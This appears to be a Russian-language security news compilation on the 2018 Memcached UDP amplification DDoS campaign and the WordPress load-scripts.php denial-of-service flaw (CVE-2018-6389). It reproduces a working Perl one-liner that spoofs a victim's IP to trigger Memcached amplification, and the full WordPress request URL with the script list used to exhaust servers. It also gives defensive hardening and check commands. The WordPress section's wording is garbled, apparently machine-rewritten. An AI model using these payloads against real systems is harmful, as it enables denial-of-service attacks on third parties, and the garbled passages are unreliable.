В Сеть выложили коды, запускающие DDoS-атаки через серверы Memcached

Заинтересованные специалисты опубликовали собственные варианты реализации DDoS-атак через заражённые серверы Memcached. Массовая злоумышленная кампания захватила уже более 17 000 IP-адресов и до сих пор не ликвидирована. Атаки достигают рекордных размеров.

Proof-of-Concept
Всего исследователи представили три различных способа использовать скомпрометированные устройства:
скрипт на языке Python под названием Memcrashed, сканирующий поисковую систему Shodan на наличие IP захваченных серверов Memcached и позволяющий запускать DDoS-атаку на любое желаемое устройство буквально за несколько секунд:


код на Си из репозитория Pastebin, опубликованный вместе со списком из 17 000 IP уязвимых серверов и извлекающий из него адреса для проведения атаки:

небольшой эксплойт, уместившийся в один твит:


UDP 50,000x AMP attack IP-Spoof POC. syntax args: <victim_ip> <memecache_ip>

use Socket;socket R,2,3,255;setsockopt R,0,1,1;send R,pack("H*x4H*a4a4H*Z*",45000019,"52110000",(map{inet_aton$_}@ARGV),"fefe2bcb0017"."0"x14,"\x01\x00\x00stats\r\n"),0,pack"Sna4x8",2,60,pop
Memcached-кампания пока только развивается. Напомним, что несколько дней назад жертвой атак стал GitHub — наплыв запросов «положил» его на 9 минут.

Memcached усилитель трафика для DDoS-атак

Компания Cloudflare сообщила о выявлении массивных DDoS-атак, интенсивность трафика в которых доходит до 500 Гбит/с, проводимых с использованием усилителя из общедоступных серверов Memcached. Предоставляемый Memcached протокол позволяет запросить через UDP-порт статистику, размер пакетов с которой во много тысяч раз может превышать размер исходного запроса.

Метод атаки с использованием усилителя трафика основа на том, что запросы с участвующих в DDoS-атаке компьютеров направляются не напрямую на систему жертвы, а через промежуточный усилитель трафика, путем отправки UDP-пакетов с подставным обратным адресом жертвы (спуфинг). В случае Memecached, размер запроса составляет 15 байт, а ответ может включать сотни килобайт данных. В одной из атак в среднем фиксировался размер ответа в 1400 байт (усиление в 93 раза), но в другой атаке средний ответ составлял уже 150 КБ (усиление в 9000-10000 раз).

Наибольший зафиксированный в атаках размер ответа составил 750 КБ. В зависимости от сервера коэффициент усиления трафика может достигать 10-50 тысяч, что является абсолютным рекордом среди методов усиления атак. Для сравнения коэффициент усиления трафика для NTP составляет 556 раз, DNS — 28-54, RIPv2 — 21, SSDP — 20, SNMPv2 — 6.
Опасность представляют некорректно настроенные серверы, в которых Memcached прикреплён к внешнему сетевому порту и может принимать запросы извне. Memcached не поддерживает аутентификацию и расчитан на прикрепление к внутреннему сетевому порту или ограничение досутупа на уровне межсетевого экрана. Некорректная настройка позволяет любому обратиться к незащищённому хранилищу Memcached, а поддержка протокола UDP даёт возможность подделать обратный адрес, на который будет отправлен ответ.

Всплеск DDoS-атак с привлечением memcached зафиксирован 24 февраля и продолжает нарастать. Если первые дни в атаке было задействовано около 400 серверов, то к 28 февраля их число удвоилось. Всего по предварительной оценке в сети насчитывается 93 тысячи общедоступных серверов Memcached, которые потенциально могут быть вовлечены в атаки.


При запуске по умолчанию memcached прикрепляется ко всем сетевым портам и принимает соединения по UDP (для привязки к localhost и отключения UDP следует запускать memcached с опциями "--listen 127.0.0.1 -U 0"). При установке из пакетов в Ubuntu 16.04 по умолчанию memcached привязывается к localhost, но при установке из пакета в CentOS 7.4 осуществляется привязка ко всем имеющимся сетевым интерфейсам.
Всем администраторам рекомендуется проверить свои системы на предмет наличия открытого доступа к сетевому порту 11211 и заблокировать возможность обращения к нему из внешних сетей пакетным фильтром. Разработчики Memcached оперативно выпустили обновление 1.5.6, в котором по умолчанию отключили привязку к UDP-порту (для обращения к memcached всеми современными клиентами обычно используется TCP). Для проверки своего сервера на возможность доступа по UDP можно при помощи команд:
$ echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 192.168.1.1 11211
   STAT pid 21357
   STAT uptime 41557034
   STAT time 1519734962
или
nmap 192.168.1.1 -p 11211 -sU -sS --script memcached-info
   PORT      STATE         SERVICE
   11211/tcp open          memcache

DoS-уязвимость в WordPress позволяет «положить» любой сайт

Независимый израильский ИБ-специалист Барак Тавайли( barak tawily) нашел и тщательно рассказал в собственном блоге критическую dos-уязвимость в wordpress cms. Баг получил идентификатор cve-2018-6389 и представляет угроза для всех версий wordpress, вышедших за крайние 9 лет( подключая более новый релиз 4. 9. 2).

В собственной статье спец разъясняет, что неувязка связана с работой load-scripts. Php, который употребляется для обработки пользовательских запросов. Исходно load-scripts.php был создан для удобства администраторов страниц, чтоб те могли повысить продуктивность собственных ресурсов, объединив некоторое количество файлов javascript воедино. При этом создатели wordpress не сочли необходимым защитить эту функциональность какой-нибудь аутентификацией, чтоб скрипт мог действовать и без логина. Фактически, load-scripts.php оказался доступен любому желающему.



В зависимости от поставленных модулей и плагинов, load-scripts.php выборочно подгружает разные файлы javascript, чьи имена перечисляются чрез запятую после параметра " load ". Url выглядит таким следующим образом:

https://your-wordpress-site.com/wp-admin/load-scripts.php?c=1&load=editor,common,user-profile,media-widgets,media-gallery

Ето самый примитивный способ, более расширено можно использовать

eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter

Так, во время загрузки сайта, load-scripts.php пытается отыскать каждый из перечисленных в URL файлов JavaScript, чтобы «отдать» их браузеру пользователя в виде одного файла.

Тавайли обнаружил, что атакующий может заставить load-scripts.php загрузить все возможные файлы JavaScript вообще, просто перечислив их в URL. Из-за этого атакуемый сайт может начать работать значительно медленнее, поглощая все больше и больше мощностей сервера. Разумеется, при помощи одного такого запроса злоумышленнику не удастся спровоцировать отказ в обслуживании, однако исследователь создал proof-of-concept эксплоит: простой скрипт doser.py, написанный на Python. Скрипт отправляет множество подобных запросов целевому URL. Примерно после 500 запроса средний сайт, работающий на VPS-сервере, перестает отвечать вовсе, «отдавая» лишь ошибки 502, 503 и 504.



Специалист отмечает, что с 1-го компьютера навряд ли удастся «положить» работающий под управлением wordpress интернет-сайт, работающий отдельно, на выделенном сервере, но ежели в злоумышленника имеется широкий канал или некоторое количество ботов, штурм сработает и против такового ресурса, при этом окажется наименее затратной для злодея, ежели обыденный ddos.



Хотя dos-уязвимости не подпадают под bug bounty программу wordpress, Тавайли все же сказал о проблеме разработчикам чрез платформу hackerone. К огорчению, создатели wordpress не сочли обнаруженную уязвимость довольно серьезной и сказали, что улаживать такие трудности необходимо на уровне сервера или сети, но не на уровне приложений. С етого следует что патча для этого бага нет.

В ответ на это Барак Тавайли опубликовал на GitHub собственный форк WordPress, в котором уязвимость устранена. Также исследователь выложил в открытый доступ bash-скрипт, который позволяет исправить проблему в уже существующих установках WordPress.